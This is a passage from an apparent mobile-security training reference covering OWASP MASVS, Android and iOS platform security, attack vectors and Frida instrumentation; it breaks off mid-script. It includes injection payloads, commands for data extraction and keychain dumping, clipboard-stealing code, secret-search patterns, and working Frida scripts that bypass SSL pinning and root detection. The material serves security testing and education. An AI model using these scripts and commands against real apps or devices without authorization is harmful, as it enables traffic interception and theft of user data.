<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->

# NERF Deep Training — Mobile Application Security

> Principal-level mobile security knowledge: OWASP MASVS/MASTG, Android/iOS platform security,
> dynamic instrumentation, reverse engineering, and secure mobile development.

---

## Table of Contents

1. [OWASP Mobile Application Security (MAS) Framework](#1-owasp-mobile-application-security-mas-framework)
2. [MASVS Controls — Complete Reference](#2-masvs-controls--complete-reference)
3. [Android Platform Security Architecture](#3-android-platform-security-architecture)
4. [iOS Platform Security Architecture](#4-ios-platform-security-architecture)
5. [Mobile Application Attack Surface](#5-mobile-application-attack-surface)
6. [Android-Specific Attack Vectors](#6-android-specific-attack-vectors)
7. [iOS-Specific Attack Vectors](#7-ios-specific-attack-vectors)
8. [Reverse Engineering & Static Analysis](#8-reverse-engineering--static-analysis)
9. [Dynamic Instrumentation with Frida](#9-dynamic-instrumentation-with-frida)
10. [Frida Script Library](#10-frida-script-library)
11. [Objection — Runtime Exploitation](#11-objection--runtime-exploitation)
12. [MobSF — Automated Analysis](#12-mobsf--automated-analysis)
13. [Mobile Security Testing Methodology](#13-mobile-security-testing-methodology)
14. [Secure Mobile Development Controls](#14-secure-mobile-development-controls)
15. [Mobile Threat Modeling](#15-mobile-threat-modeling)
16. [Detection & Defense — Blue Team Perspective](#16-detection--defense--blue-team-perspective)
17. [Tool Reference Matrix](#17-tool-reference-matrix)

---

## 1. OWASP Mobile Application Security (MAS) Framework

### Component Relationship

```
MASVS (What)          MASTG (How)              MAS Checklist (Verify)
  |                      |                          |
  | Defines security     | Provides testing         | Tracks compliance
  | requirements         | procedures               | status
  |                      |                          |
  v                      v                          v
 8 Control Groups   ->  Test Cases per      ->   Pass/Fail per
 24 Controls             Control                  Requirement
```

**MASVS** — Mobile Application Security Verification Standard: defines *what* must be secured.
**MASTG** — Mobile Application Security Testing Guide: defines *how* to test each requirement.
**MAS Checklist** — practical verification tracker for MASVS compliance.

### MASTG Structure

The testing guide covers:

- **General Concepts**: App taxonomy, testing methodology, tampering/reverse engineering principles, authentication architecture, network communication, cryptography, code quality, privacy
- **Android Testing**: Platform overview, data storage (SharedPreferences, SQLite, KeyStore), crypto APIs, local auth, network comms, IPC, code quality, anti-reversing
- **iOS Testing**: Platform fundamentals, data storage (UserDefaults, CoreData, Keychain), crypto frameworks, biometric auth, network security, platform APIs, reverse engineering resistance
- **Best Practices**: 31 documented secure implementation recommendations
- **Test Cases**: Specific procedures with code-level references and detection methods
- **MAS Crackmes**: Vulnerable practice applications for hands-on training

### Testing Profiles

Risk-based assessment levels that determine which MASVS controls apply:
- **L1**: Standard security — all apps should meet this baseline
- **L2**: Defense-in-depth — apps handling sensitive data (financial, healthcare)
- **R**: Resilience — apps requiring anti-tampering and reverse engineering protection

---

## 2. MASVS Controls — Complete Reference

### MASVS-STORAGE: Data Storage

| Control | Requirement |
|---------|-------------|
| MASVS-STORAGE-1 | The app securely stores sensitive data. Credentials, tokens, PII, and cryptographic keys must use platform-secure storage (Keychain/Keystore). No sensitive data in logs, backups, clipboard, or screenshots. |
| MASVS-STORAGE-2 | The app prevents leakage of sensitive data. Addresses caching, keyboard caches, background screenshots, IPC data exposure, and third-party analytics/crash reporting data leaks. |

**Related Weaknesses:**
- MASWE-0001: Insertion of Sensitive Data into Logs
- MASWE-0002: Sensitive Data Stored With Insufficient Access Restrictions
- MASWE-0006: Sensitive Data Stored Unencrypted in Private Storage

**Testing Focus:**
- SharedPreferences / NSUserDefaults for secrets
- SQLite databases with plaintext sensitive data
- Application log output (Logcat / Console)
- Backup exposure (android:allowBackup="true")
- Clipboard data persistence
- Background app snapshots revealing sensitive UI
- Third-party SDK data collection
- WebView cache and cookie storage

### MASVS-CRYPTO: Cryptography

| Control | Requirement |
|---------|-------------|
| MASVS-CRYPTO-1 | The app employs current strong cryptography and uses it according to industry best practices. No custom crypto, no deprecated algorithms (MD5, SHA1 for security, DES, 3DES, RC4), proper key lengths (AES-256, RSA-2048+), secure modes (GCM, not ECB). |
| MASVS-CRYPTO-2 | The app performs key management according to industry best practices. Keys stored in hardware-backed keystores, not hardcoded, proper key rotation, secure key derivation (PBKDF2, Argon2). |

**Testing Focus:**
- Hardcoded cryptographic keys in source/binary
- Use of insecure algorithms (DES, RC4, MD5 for integrity)
- ECB mode usage (pattern preservation)
- Insufficient key lengths
- Predictable IVs or nonces
- Missing key rotation mechanisms
- Keys stored in shared preferences or plain files
- Custom cryptographic implementations

### MASVS-AUTH: Authentication and Authorization

| Control | Requirement |
|---------|-------------|
| MASVS-AUTH-1 | The app uses secure authentication and authorization protocols and follows the relevant best practices. Server-side auth enforcement, OAuth 2.0 / OpenID Connect, token-based sessions. |
| MASVS-AUTH-2 | The app performs local authentication securely. Biometric auth tied to keystore-backed keys, secure fallback mechanisms, anti-replay on biometric prompts. |
| MASVS-AUTH-3 | The app secures sensitive operations with additional authentication. Step-up auth for high-risk operations (payments, password changes), re-authentication timeouts. |

**Testing Focus:**
- Client-side only authentication checks (Frida-bypassable)
- Biometric auth not tied to cryptographic operations
- Token storage and lifecycle management
- Session fixation/hijacking
- Missing server-side authorization enforcement
- Device ID used as authentication factor

### MASVS-NETWORK: Network Communication

| Control | Requirement |
|---------|-------------|
| MASVS-NETWORK-1 | The app secures all network traffic according to current best practices. TLS 1.2+ enforced, strong cipher suites, valid certificates, no cleartext traffic. |
| MASVS-NETWORK-2 | The app performs identity pinning for all remote endpoints or implements certificate transparency. Certificate/public key pinning, backup pin inclusion, proper pin validation. |

**Testing Focus:**
- Cleartext HTTP traffic (android:usesCleartextTraffic)
- ATS exceptions on iOS (NSAllowsArbitraryLoads)
- Certificate validation bypass/override
- Weak TLS versions (SSLv3, TLS 1.0)
- Missing certificate pinning
- Custom TrustManager implementations accepting all certs
- WebSocket security
- Man-in-the-middle susceptibility

### MASVS-PLATFORM: Platform Interaction

| Control | Requirement |
|---------|-------------|
| MASVS-PLATFORM-1 | The app uses IPC mechanisms securely. Intent validation, URL scheme validation, content provider permissions, proper broadcast restrictions. |
| MASVS-PLATFORM-2 | The app uses WebViews securely. JavaScript interface restrictions, file access disabled, content loading validation, no JavaScript bridges to sensitive functionality. |
| MASVS-PLATFORM-3 | The app uses the user interface securely. Overlay attack protection, screenshot prevention on sensitive screens, secure input handling. |

**Testing Focus:**
- Exported activities/services/receivers without permission checks
- Deep link / URL scheme hijacking
- Content provider SQL injection
- WebView JavaScript bridge exploitation
- Intent sniffing and injection
- Tapjacking / overlay attacks
- Pasteboard data exposure
- Custom URL scheme validation

### MASVS-CODE: Code Quality

| Control | Requirement |
|---------|-------------|
| MASVS-CODE-1 | The app requires an up-to-date platform version. Minimum SDK/deployment target enforcement. |
| MASVS-CODE-2 | The app has a mechanism for enforcing app updates. Force update capability for critical security patches. |
| MASVS-CODE-3 | The app only uses software components without known vulnerabilities. Dependency scanning, third-party library audit. |
| MASVS-CODE-4 | The app validates and sanitizes all untrusted inputs. Input validation, format string prevention, buffer overflow prevention. |

**Testing Focus:**
- Outdated dependencies with known CVEs
- Missing input validation on IPC endpoints
- Format string vulnerabilities in native code
- Buffer overflows in JNI/native libraries
- Insecure deserialization
- Debug flags enabled in release builds
- Stack canary presence in native code
- PIE/ASLR compilation flags

### MASVS-RESILIENCE: Reverse Engineering Protection

| Control | Requirement |
|---------|-------------|
| MASVS-RESILIENCE-1 | The app validates the integrity of the platform. Root/jailbreak detection, emulator detection, integrity verification of the execution environment. |
| MASVS-RESILIENCE-2 | The app implements anti-tampering mechanisms. Code integrity checks, signature verification, anti-hooking, anti-debugging. |
| MASVS-RESILIENCE-3 | The app implements anti-static-analysis mechanisms. Code obfuscation (ProGuard/R8, name mangling, control flow), string encryption, resource encryption. |
| MASVS-RESILIENCE-4 | The app implements anti-dynamic-analysis mechanisms. Debugger detection (ptrace, isDebuggerAttached), Frida detection, instrumentation framework detection. |

**Testing Focus:**
- Root/jailbreak detection bypass (trivial checks vs. layered)
- Debugger attachment
- Code injection (Frida, Xposed, Substrate)
- Binary patching and repackaging
- Memory dumping
- Method hooking and swizzling
- Emulator detection evasion
- Integrity check circumvention

### MASVS-PRIVACY: User Privacy

| Control | Requirement |
|---------|-------------|
| MASVS-PRIVACY-1 | The app minimizes access to sensitive data and resources. Data minimization, least privilege permissions, purpose limitation. |
| MASVS-PRIVACY-2 | The app prevents identification of the user. Anonymization, pseudonymization, identifier rotation. |
| MASVS-PRIVACY-3 | The app is transparent about data collection and usage. Privacy policy accessibility, consent mechanisms, data usage notifications. |
| MASVS-PRIVACY-4 | The app offers user control over their data. Data export, data deletion, consent withdrawal, preference management. |

**Testing Focus:**
- Excessive permission requests
- Device fingerprinting techniques
- Advertising ID usage and correlation
- Third-party tracker integration
- Analytics data collection scope
- Location tracking granularity
- Cross-app tracking capabilities
- GDPR/CCPA compliance verification

---

## 3. Android Platform Security Architecture

### Layered Security Model

```
+----------------------------------+
|     Application Layer            |
|  (App Sandbox, Permissions)      |
+----------------------------------+
|     Framework Layer              |
|  (System Services, APIs)         |
+----------------------------------+
|     Native Layer                 |
|  (HAL, Libraries, ART)          |
+----------------------------------+
|     Kernel Layer                 |
|  (Linux Kernel, SELinux, dm-verity) |
+----------------------------------+
|     Hardware Layer               |
|  (TEE, StrongBox, Titan M)      |
+----------------------------------+
```

### Core Security Components

**Application Sandbox**
- Each app runs in its own Linux process with unique UID
- SELinux mandatory access control enforcement
- Seccomp-BPF syscall filtering
- App data isolation at filesystem level (`/data/data/<package>`)

**Verified Boot (AVB)**
- Chain of trust from hardware root of trust through bootloader, kernel, system
- dm-verity for runtime block-level integrity verification
- Rollback protection preventing downgrade attacks
- Locked bootloader enforcement

**Encryption**
- File-Based Encryption (FBE): per-file keys, CE/DE storage classes
- Metadata encryption for filesystem metadata
- Hardware-wrapped keys (Titan M / TEE integration)
- Adiantum for devices without AES hardware acceleration

**SELinux**
- Enforcing mode by default since Android 5.0
- Type enforcement policies for all processes
- Per-app SELinux domains
- Neverallow rules preventing policy regressions

**Android Keystore System**
- Hardware-backed key storage (TEE or StrongBox)
- Key attestation for remote verification
- Version binding (keys tied to OS/patch level)
- Authorization tags (user auth required, timeout, biometric binding)
- Import/generation with extraction prevention

**APK Signing**
- v1: JAR signing (legacy, vulnerable to Janus — CVE-2017-13156)
- v2: APK Signature Scheme (whole-file integrity)
- v3: Key rotation support
- v3.1: Targeting SDK-based rotation
- v4: Streaming install support with separate signature

**Permissions Model**
- Normal permissions: granted at install
- Dangerous permissions: runtime user approval
- Signature permissions: same-signing-key apps only
- Runtime permission groups and one-time permissions
- Background location restrictions (Android 10+)
- Approximate vs. precise location (Android 12+)

**Additional Security Features**
- SafetyNet / Play Integrity API: device integrity attestation
- Google Play Protect: on-device app scanning
- Scoped Storage (Android 10+): restricted external storage access
- GPU syscall filtering
- Private space partitioning
- 2G network disable option

### Android Security-Critical Paths

```
/data/data/<package>/          # App private storage
/data/data/<package>/shared_prefs/  # SharedPreferences XML
/data/data/<package>/databases/     # SQLite databases
/data/data/<package>/files/         # App files
/data/data/<package>/cache/         # App cache
/data/misc/keystore/           # Keystore blobs (pre-Keymaster)
/data/local/tmp/               # World-writable temp (common Frida location)
/system/                       # System partition (read-only)
/proc/self/maps                # Process memory maps
/proc/self/status              # Process status (TracerPid for debug detection)
```

---

## 4. iOS Platform Security Architecture

### Layered Security Model

```
+----------------------------------+
|     Application Layer            |
|  (App Sandbox, Entitlements)     |
+----------------------------------+
|     Framework Layer              |
|  (Security.framework, CryptoKit)|
+----------------------------------+
|     Kernel Layer                 |
|  (XNU, AMFI, Sandbox.kext)      |
+----------------------------------+
|     Secure Boot Chain            |
|  (Boot ROM, iBoot, Kernel)       |
+----------------------------------+
|     Hardware Layer               |
|  (Secure Enclave, AES Engine)    |
+----------------------------------+
```

### Core Security Components

**Hardware Security**
- **Secure Enclave Processor (SEP)**: Dedicated coprocessor for cryptographic operations, key management, biometric data processing. Isolated from application processor with its own encrypted memory and secure boot.
- **Hardware AES Engine**: Inline encryption/decryption for flash storage
- **Hardware UID/GID Keys**: Fused into silicon, never exposed to software
- **Physical microphone disconnect** on certain models

**Secure Boot Chain**
- Boot ROM (hardware root of trust) -> iBoot -> Kernel
- Every stage cryptographically verified before execution
- Personalized signatures tied to specific device (anti-downgrade)
- Sealed Key Protection (SKP): keys tied to boot measurement

**Data Protection**
- File-level encryption with per-file keys
- Four protection classes:
  - **NSFileProtectionComplete**: Key discarded when device locks
  - **NSFileProtectionCompleteUnlessOpen**: Open file handles persist
  - **NSFileProtectionCompleteUntilFirstUserAuthentication**: Key available after first unlock (default)
  - **NSFileProtectionNone**: Key always available (minimal protection)
- Effaceable Storage for instant key destruction

**Keychain Services**
- Hardware-encrypted credential storage
- Access control via entitlements and ACLs
- Biometric-gated access (SecAccessControlCreateFlags)
- Keychain synchronization via iCloud Keychain (end-to-end encrypted)
- Protection classes mirror Data Protection hierarchy

**App Security**
- **Code Signing**: Mandatory for all executables. Pages verified at load time.
- **AMFI (Apple Mobile File Integrity)**: Kernel extension enforcing code signing
- **App Sandbox**: Mandatory containerization. Apps cannot access other apps' data.
- **Entitlements**: Capability-based access control (declared in provisioning profile)
- **App Transport Security (ATS)**: Enforces HTTPS, TLS 1.2+, forward secrecy by default
- **App Store Review**: Pre-distribution security screening

**Biometric Security**
- Face ID / Touch ID data processed exclusively within Secure Enclave
- Biometric templates never leave the device
- No API access to raw biometric data
- Fallback to passcode after biometric failure threshold

**System Integrity**
- System Integrity Protection (SIP): Restricts root-level access to protected paths
- Signed System Volume (SSV): Cryptographic seal on entire system volume
- Kernel Integrity Protection (KIP): Read-only kernel memory
- Pointer Authentication Codes (PAC): ARM hardware feature preventing ROP/JOP

**Network Security**
- ATS enforced by default (exceptions require justification)
- WPA3 support with MAC address randomization
- iCloud Private Relay for anonymized browsing
- VPN APIs with per-app VPN support
- Certificate Transparency enforcement

**Privacy Features**
- App Tracking Transparency (ATT): User consent for cross-app tracking
- On-device processing for sensitive ML workloads
- Mail Privacy Protection: blocks tracking pixels
- Location accuracy controls (precise vs. approximate)
- Lockdown Mode: extreme hardening for high-risk users

### iOS Security-Critical Paths

```
/var/mobile/Containers/Data/Application/<UUID>/  # App sandbox
    Documents/          # User-facing files
    Library/            # App support files
    Library/Preferences/ # NSUserDefaults plist
    Library/Caches/     # Cache data
    tmp/                # Temporary files
/var/KeychainGeneral.db    # Keychain database (legacy)
/var/Keychains/           # Keychain data
/private/var/mobile/Library/Logs/CrashReporter/  # Crash logs
/var/mobile/Library/Cookies/  # Cookie storage
```

---

## 5. Mobile Application Attack Surface

### Attack Surface Map

```
                    +-------------------+
                    |   Cloud/Backend   |
                    |   (APIs, Auth)    |
                    +--------+----------+
                             |
                    Network Layer (TLS, Pinning)
                             |
+------------------+---------+----------+------------------+
|                  |                    |                   |
| Local Storage    | App Binary        | IPC/Platform      | UI Layer
| - Keychain       | - Code            | - Intents         | - Screenshot
| - Keystore       | - Crypto keys     | - URL Schemes     | - Overlay
| - SharedPrefs    | - Obfuscation     | - Content         | - Clipboard
| - SQLite         | - Anti-tamper     |   Providers       | - Keyboard
| - Files          | - Debug symbols   | - Pasteboard      |   cache
| - Logs           |                   | - WebViews        |
| - Backups        |                   | - Extensions      |
+------------------+-------------------+------------------+
```

### OWASP Mobile Top 10 (2024)

| # | Risk | Description |
|---|------|-------------|
| M1 | Improper Credential Usage | Hardcoded credentials, insecure credential storage |
| M2 | Inadequate Supply Chain Security | Vulnerable SDKs, compromised build pipelines |
| M3 | Insecure Authentication/Authorization | Client-side auth, weak session management |
| M4 | Insufficient Input/Output Validation | Injection via IPC, SQL injection in content providers |
| M5 | Insecure Communication | Cleartext traffic, certificate validation bypass |
| M6 | Inadequate Privacy Controls | Excessive data collection, missing anonymization |
| M7 | Insufficient Binary Protections | No obfuscation, debug symbols, tampering |
| M8 | Security Misconfiguration | Backup enabled, debug mode, excessive permissions |
| M9 | Insecure Data Storage | Plaintext PII in local storage, log leakage |
| M10 | Insufficient Cryptography | Weak algorithms, hardcoded keys, insecure key storage |

---

## 6. Android-Specific Attack Vectors

### 6.1 Intent-Based Attacks

**Intent Sniffing (Broadcast)**
```xml
<!-- Vulnerable: implicit broadcast with sensitive data -->
<receiver android:name=".MyReceiver" android:exported="true">
    <intent-filter>
        <action android:name="com.app.SENSITIVE_ACTION" />
    </intent-filter>
</receiver>
```

**Exploitation**: Register a receiver for the same action to intercept data.

**Intent Injection / Redirection**
```java
// Vulnerable: taking untrusted Intent extra and forwarding
Intent fwdIntent = (Intent) getIntent().getParcelableExtra("nextIntent");
startActivity(fwdIntent);  // Attacker controls destination + data
```

**Mitigation**: Always validate `ComponentName` and package before forwarding intents.

### 6.2 Content Provider SQL Injection

```
content://com.vulnerable.app.provider/users' UNION SELECT username,password FROM credentials--
```

**Mitigation**: Use parameterized queries, restrict provider export, enforce URI permissions.

### 6.3 WebView Exploitation

```java
// Dangerous WebView configuration
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true);
webView.addJavascriptInterface(new JSBridge(), "Android");
// Loading untrusted content with JavaScript bridge = RCE
webView.loadUrl(untrustedUrl);
```

**Attack**: JavaScript bridge allows calling arbitrary Java methods via `Android.methodName()`.

**Mitigation**: `@JavascriptInterface` annotation (API 17+), disable file access, validate loaded URLs.

### 6.4 Tapjacking / Overlay Attacks

```xml
<!-- Malicious overlay app -->
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
```

Overlay a transparent view on top of victim app to capture touch events.

**Mitigation**: `filterTouchesWhenObscured="true"` on sensitive views.

### 6.5 Task Hijacking (StrandHogg)

```xml
<!-- Attacker declares activity with victim's taskAffinity -->
<activity android:name=".FakeLogin"
    android:taskAffinity="com.victim.app"
    android:allowTaskReparenting="true" />
```

**Impact**: Phishing overlay appears within victim's task stack.

### 6.6 Backup Extraction

```bash
# If android:allowBackup="true" (default!)
adb backup -apk com.target.app -f backup.ab
# Unpack
java -jar abe.jar unpack backup.ab backup.tar
tar xvf backup.tar
# All SharedPreferences, databases, files now accessible
```

### 6.7 Debug Mode Exploitation

```bash
# If android:debuggable="true" in release build
adb shell run-as com.target.app cat /data/data/com.target.app/shared_prefs/secrets.xml
# Or attach debugger via JDWP
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
```

### 6.8 Exported Component Abuse

```bash
# Find exported components
aapt dump xmltree app.apk AndroidManifest.xml | grep -A5 "exported"
# Launch exported activity directly
adb shell am start -n com.target.app/.InternalActivity
# Call exported service
adb shell am startservice -n com.target.app/.AdminService --es "cmd" "delete_all"
```

### 6.9 Clipboard Monitoring (Pre-Android 10)

```java
// Pre-Android 10: any app can read clipboard
ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
clipboard.addPrimaryClipChangedListener(() -> {
    ClipData clip = clipboard.getPrimaryClip();
    String stolen = clip.getItemAt(0).getText().toString();
    // Exfiltrate password/OTP copied by user
});
```

### 6.10 Signature Bypass (Janus — CVE-2017-13156)

APK files with v1-only signing could be prepended with a DEX file. Android would execute the DEX while verifying the APK signature against the ZIP portion only. **Fixed** with v2/v3 signing.

---

## 7. iOS-Specific Attack Vectors

### 7.1 URL Scheme Hijacking

```xml
<!-- Attacker app registers same scheme as victim -->
<key>CFBundleURLTypes</key>
<array>
    <dict>
        <key>CFBundleURLSchemes</key>
        <array>
            <string>mybank</string>  <!-- Same as legitimate banking app -->
        </array>
    </dict>
</array>
```

**Impact**: iOS may route `mybank://callback?token=xxx` to attacker app.

**Mitigation**: Use Universal Links (require apple-app-site-association verification).

### 7.2 Pasteboard Data Theft

```objectivec
// Reading general pasteboard
UIPasteboard *pb = [UIPasteboard generalPasteboard];
NSString *stolen = pb.string;  // Captures copied passwords, OTPs
```

**Mitigation**: Use `UIPasteboard.withLocalOnly` (iOS 10+), expire pasteboard content.

### 7.3 Keychain Access on Jailbroken Devices

```bash
# Using keychain-dumper on jailbroken device
./keychain_dumper -a  # Dump all keychain items
```

Items stored with `kSecAttrAccessibleAlways` or `kSecAttrAccessibleAfterFirstUnlock` are accessible. Items using `kSecAttrAccessibleWhenUnlocked` with `kSecAttrAccessControl` (biometric) are harder to extract.

### 7.4 Binary Cookie Extraction

```bash
# BinaryCookies file location
/var/mobile/Containers/Data/Application/<UUID>/Library/Cookies/Cookies.binarycookies
# Parse with python BinaryCookieReader
python BinaryCookieReader.py Cookies.binarycookies
```

### 7.5 IPA Analysis and Repackaging

```bash
# Decrypt IPA from jailbroken device (clutch or frida-ios-dump)
frida-ios-dump -u -p <password> -H <host> "Target App"
# Or using clutch
Clutch -d com.target.app
# Repackage after modification
ldid -S modified_binary
# Re-sign with development cert
codesign -f -s "iPhone Developer: ..." modified.app
```

### 7.6 Method Swizzling (Runtime Manipulation)

```objectivec
// Swizzle authentication method
Method original = class_getInstanceMethod([AuthManager class], @selector(isAuthenticated));
Method swizzled = class_getInstanceMethod([AttackerHook class], @selector(alwaysTrue));
method_exchangeImplementations(original, swizzled);
```

### 7.7 NSUserDefaults Sensitive Data Exposure

```bash
# Plist files are trivially readable
plutil -p /var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/com.target.app.plist
# Often contains: auth tokens, user settings, feature flags, session data
```

### 7.8 ATS Bypass Misconfiguration

```xml
<!-- Developers disabling ATS entirely -->
<key>NSAppTransportSecurity</key>
<dict>
    <key>NSAllowsArbitraryLoads</key>
    <true/>  <!-- Allows all cleartext HTTP -->
</dict>
```

### 7.9 Deep Link Authentication Bypass

```
// Deep link to authenticated view without re-authentication check
myapp://account/settings?action=change_email&new=attacker@evil.com
```

**Mitigation**: Always re-validate authentication state on deep-linked view controllers.

### 7.10 Widget / Extension Data Leakage

```swift
// Widget displaying sensitive data on lock screen
// Pre-iOS 17: no API to detect lock state
// iOS 17+: Use WidgetInfo.isLocked to mask content
struct MyWidget: Widget {
    var body: some WidgetConfiguration {
        // Must check isLocked to redact on lock screen
    }
}
```

### 7.11 Siri / Shortcuts Intent Abuse

```swift
// Sensitive operation accessible via Siri without authentication
class TransferMoneyIntentHandler: NSObject, TransferMoneyIntentHandling {
    // Missing: requiresUserAuthentication = true
    // Missing: userConfirmationRequired = true
}
```

---

## 8. Reverse Engineering & Static Analysis

### 8.1 Android Reverse Engineering Pipeline

```
APK File
  |
  +---> apktool d app.apk          # Decode resources, smali
  |       |
  |       +---> smali/             # Dalvik assembly (modifiable)
  |       +---> res/               # Decoded resources
  |       +---> AndroidManifest.xml # Permissions, components, config
  |
  +---> jadx -d output/ app.apk   # Decompile to Java source
  |       |
  |       +---> Readable Java code with cross-references
  |       +---> Deobfuscation support (ProGuard mapping files)
  |       +---> GUI with search, jump-to-definition
  |
  +---> dex2jar app.apk           # Convert DEX -> JAR
          |
          +---> JD-GUI / CFR / Procyon  # Java decompiler
```

**JADX** — Primary decompiler for Android security testing:
- Decompiles APK, DEX, AAR, AAB, XAPK, APKM formats
- Java and Kotlin output with syntax highlighting
- Deobfuscation with ProGuard/R8 mapping support
- Smali debugger integration
- Full-text search across decompiled code
- Export as Gradle project for rebuilding
- Requires Java 11+ (64-bit)

```bash
# Basic decompilation
jadx -d output_dir app.apk

# With deobfuscation
jadx --deobf --deobf-min 3 --deobf-max 64 app.apk

# Export as Gradle project
jadx -e -d project_dir app.apk

# Using mapping file for better names
jadx --deobf-map mapping.txt app.apk
```

**dex2jar** — DEX to JAR conversion toolkit:
```bash
# Convert APK to JAR
d2j-dex2jar.sh -f app.apk
# Output: app-dex2jar.jar

# Decrypt obfuscated strings
d2j-decrypt-string.sh -f app-dex2jar.jar

# Smali/baksmali for assembly-level analysis
d2j-smali.sh classes.dex
d2j-baksmali.sh classes.dex
```

### 8.2 iOS Reverse Engineering Pipeline

```
IPA File (encrypted from App Store)
  |
  +---> frida-ios-dump / Clutch    # Decrypt binary (requires jailbreak)
  |
  +---> class-dump / dsdump        # Extract ObjC class info
  |       |
  |       +---> Headers with method signatures
  |
  +---> Hopper / Ghidra / IDA      # Disassemble ARM binary
  |       |
  |       +---> Control flow analysis
  |       +---> String references (API keys, URLs)
  |       +---> Crypto function identification
  |
  +---> otool -L binary            # List linked libraries
  +---> otool -hv binary           # Mach-O header (PIE, ARC flags)
  +---> strings binary             # Extract embedded strings
  +---> codesign -dvvv app.app     # Signature and entitlements
```

### 8.3 Static Analysis Checklist

**Binary Protections:**
```bash
# Android — check for debugging, backup, network config
aapt dump badging app.apk | grep -E "debug|backup"

# Check native libraries for protections
readelf -l lib/armeabi-v7a/libnative.so | grep -i stack
readelf -d lib/armeabi-v7a/libnative.so | grep -i textrel  # Should not exist

# iOS — check binary protections
otool -hv AppBinary | grep PIE          # Position Independent Executable
otool -Iv AppBinary | grep stack_chk    # Stack canaries
otool -Iv AppBinary | grep objc_release # ARC enabled
```

**Secrets Discovery:**
```bash
# Common patterns to search for in decompiled code
grep -rn "api[_-]key\|secret\|password\|token\|private[_-]key" output_dir/
grep -rn "BEGIN.*PRIVATE KEY" output_dir/
grep -rn "AIza[0-9A-Za-z-_]{35}" output_dir/     # Google API keys
grep -rn "AKIA[0-9A-Z]{16}" output_dir/           # AWS access keys
grep -rn "ghp_[A-Za-z0-9]{36}" output_dir/        # GitHub PAT
grep -rn "sk-[A-Za-z0-9]{48}" output_dir/         # OpenAI keys
```

---

## 9. Dynamic Instrumentation with Frida

### 9.1 Architecture

```
+------------------+          +------------------+
|  Host Machine    |          |  Target Device   |
|                  |   USB/   |                  |
|  frida-tools     |<-------->|  frida-server    |
|  (Python/CLI)    |   TCP    |  (runs as root)  |
|                  |          |                  |
|  Custom Scripts  |          |  Target App      |
|  (JavaScript)    |--------->|  (instrumented)  |
+------------------+          +------------------+
```

### 9.2 Setup

**Android (Rooted):**
```bash
# Download matching frida-server version for device architecture
wget https://github.com/frida/frida/releases/download/<version>/frida-server-<version>-android-arm64.xz
unxz frida-server-*.xz

# Deploy to device
adb push frida-server /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server"
adb shell "su -c /data/local/tmp/frida-server &"

# Verify
frida-ps -U

# Anti-detection: rename binary
adb shell "su -c mv /data/local/tmp/frida-server /data/local/tmp/fs-$(openssl rand -hex 4)"
```

**Android (Non-rooted — Gadget injection):**
```bash
# Inject frida-gadget.so into APK
apktool d target.apk
# Add frida-gadget.so to lib/<arch>/
# Patch smali to load gadget in main activity
# Rebuild and re-sign
apktool b target/ -o patched.apk
jarsigner -keystore debug.keystore patched.apk alias
```

**iOS (Jailbroken):**
```bash
# Add Frida repo in Cydia/Sileo
# Source: https://build.frida.re
# Install Frida package

# Verify
frida-ps -U
```

**iOS (Non-jailbroken — iOS 13+):**
```bash
# Frida 12.7.12+ supports automatic Gadget injection for debuggable apps
# Requires: Developer Disk Image mounted via Xcode
# Place gadget at: ~/.cache/frida/gadget-ios.dylib
frida -U "Target App"  # Auto-injects if debuggable
```

### 9.3 Core Commands

```bash
# List processes
frida-ps -U                        # USB-connected device
frida-ps -U -a                     # Running apps only
frida-ps -U -ai                    # Installed apps

# Attach to running process
frida -U com.target.app

# Spawn and attach
frida -U -f com.target.app --no-pause

# Trace functions
frida-trace -U -i "open" com.target.app              # Trace C function
frida-trace -U -j "*Auth*!*" com.target.app           # Trace Java methods
frida-trace -U -m "-[NSURLSession *]" "Target App"    # Trace ObjC methods

# Load script from file
frida -U -l script.js com.target.app

# Kill process
frida-kill -U <pid>
```

---

## 10. Frida Script Library

### 10.1 Android — SSL Pinning Bypass

```javascript
Java.perform(() => {
    // Bypass TrustManagerImpl (Android 7+)
    const TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
    TrustManagerImpl.verifyChain.implementation = function (untrustedChain, trustAnchorChain,
        host, clientAuth, ocspData, tlsSctData) {
        console.log('[+] SSL Pinning Bypassed for: ' + host);
        return untrustedChain;
    };

    // Bypass OkHttp3 CertificatePinner
    try {
        const CertificatePinner = Java.use('okhttp3.CertificatePinner');
        CertificatePinner.check.overload('java.lang.String', 'java.util.List')
            .implementation = function (hostname, peerCertificates) {
            console.log('[+] OkHttp3 pinning bypassed for: ' + hostname);
        };
    } catch (e) {
        console.log('[-] OkHttp3 not found');
    }

    // Bypass custom X509TrustManager
    const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
    const SSLContext = Java.use('javax.net.ssl.SSLContext');
    const TrustManager = Java.registerClass({
        name: 'com.frida.TrustManager',
        implements: [X509TrustManager],
        methods: {
            checkClientTrusted: function (chain, authType) {},
            checkServerTrusted: function (chain, authType) {},
            getAcceptedIssuers: function () { return []; }
        }
    });
    const TrustManagers = [TrustManager.$new()];
    const sslContext = SSLContext.getInstance('TLS');
    sslContext.init(null, TrustManagers, null);
    SSLContext.getInstance.overload('java.lang.String').implementation = function (protocol) {
        return sslContext;
    };
});
```

### 10.2 Android — Root Detection Bypass

```javascript
Java.perform(() => {
    // Bypass common root checks
    const RootBeer = Java.use('com.scottyab.rootbeer.RootBeer');
    RootBeer.isRooted.implementation = function () {
        console.log('[+] RootBeer.isRooted() bypassed');
        return false;
    };

    // Bypass file existence checks for su binary
    const File = Java.use('java.io.File');
    File.exists.implementation = function () {
        const path = this.getAbsolutePath();
        const rootPaths = ['/system/bin/su', '/system/xbin/su', '/sbin/su',
            '/data/local/bin/su', '/data/local/xbin/su', '/system/app/Superuser.apk',
            '/system/app/SuperSU/', '/system/sd/xbin/su'];
        if (rootPaths.indexOf(path) !== -1) {
            console.log('[+] Root file check bypassed: ' + path);
            return false;
        }
        return this.exists();
    };

    // Bypass Runtime.exec("su") check
    const Runtime = Java.use('java.lang.Runtime');
